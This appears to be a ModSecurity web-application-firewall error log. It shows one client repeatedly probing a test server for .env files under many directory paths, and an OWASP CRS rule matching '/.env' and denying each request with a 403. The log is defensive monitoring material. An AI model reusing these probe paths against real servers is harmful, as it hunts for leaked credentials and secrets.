[Thu Feb 26 01:03:17.918459 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH_QAAAAQ&quot;]
[Thu Feb 26 01:03:17.933423 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spikes/config-material-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllgAAAAI&quot;]
[Thu Feb 26 01:03:17.933646 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllgAAAAI&quot;]
[Thu Feb 26 01:03:17.933803 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spikes/config-material-app/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllgAAAAI&quot;]
[Thu Feb 26 01:03:17.960668 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spotiapps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllwAAAAI&quot;]
[Thu Feb 26 01:03:17.960906 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllwAAAAI&quot;]
[Thu Feb 26 01:03:17.961085 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/SpotiApps/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjllwAAAAI&quot;]
[Thu Feb 26 01:03:17.983591 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /socketio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH_gAAAAQ&quot;]
[Thu Feb 26 01:03:17.983830 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH_gAAAAQ&quot;]
[Thu Feb 26 01:03:17.983993 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ-NxTf0JOOqB-ib2UlH_gAAAAQ&quot;]
[Thu Feb 26 01:03:17.985191 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/instancewithdependentsteps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlmAAAAAI&quot;]
[Thu Feb 26 01:03:17.985428 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlmAAAAAI&quot;]
[Thu Feb 26 01:03:17.985597 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/instanceWithDependentSteps/.env&quot;] [unique_id &quot;aZ-NxYCbt-ue5ARpbmjlmAAAAAI&quot;]
[Thu Feb 26 01:03:18.007893 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptintegrationproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlmQAAAAI&quot;]
[Thu Feb 26 01:03:18.008143 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlmQAAAAI&quot;]
[Thu Feb 26 01:03:18.008309 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptIntegrationProject/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlmQAAAAI&quot;]
[Thu Feb 26 01:03:18.017918 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /source/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlH_wAAAAQ&quot;]
[Thu Feb 26 01:03:18.018146 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlH_wAAAAQ&quot;]
[Thu Feb 26 01:03:18.018307 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlH_wAAAAQ&quot;]
[Thu Feb 26 01:03:18.032417 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlmgAAAAI&quot;]
[Thu Feb 26 01:03:18.032660 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlmgAAAAI&quot;]
[Thu Feb 26 01:03:18.032820 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlmgAAAAI&quot;]
[Thu Feb 26 01:03:18.044217 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAAAAAAQ&quot;]
[Thu Feb 26 01:03:18.044446 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAAAAAAQ&quot;]
[Thu Feb 26 01:03:18.044616 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAAAAAAQ&quot;]
[Thu Feb 26 01:03:18.070230 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAQAAAAQ&quot;]
[Thu Feb 26 01:03:18.070488 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAQAAAAQ&quot;]
[Thu Feb 26 01:03:18.070655 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAQAAAAQ&quot;]
[Thu Feb 26 01:03:18.080821 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptvisualizeproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlmwAAAAI&quot;]
[Thu Feb 26 01:03:18.081070 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlmwAAAAI&quot;]
[Thu Feb 26 01:03:18.081256 2026] [:error] [pid 2330790] [client 185.177.72.22:29186] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ-NxoCbt-ue5ARpbmjlmwAAAAI&quot;]
[Thu Feb 26 01:03:18.097758 2026] [:error] [pid 2330792] [client 185.177.72.22:29192] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /spearmint/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/spearmint/.env&quot;] [unique_id &quot;aZ-Nxjf0JOOqB-ib2UlIAgAAAAQ&quot;]
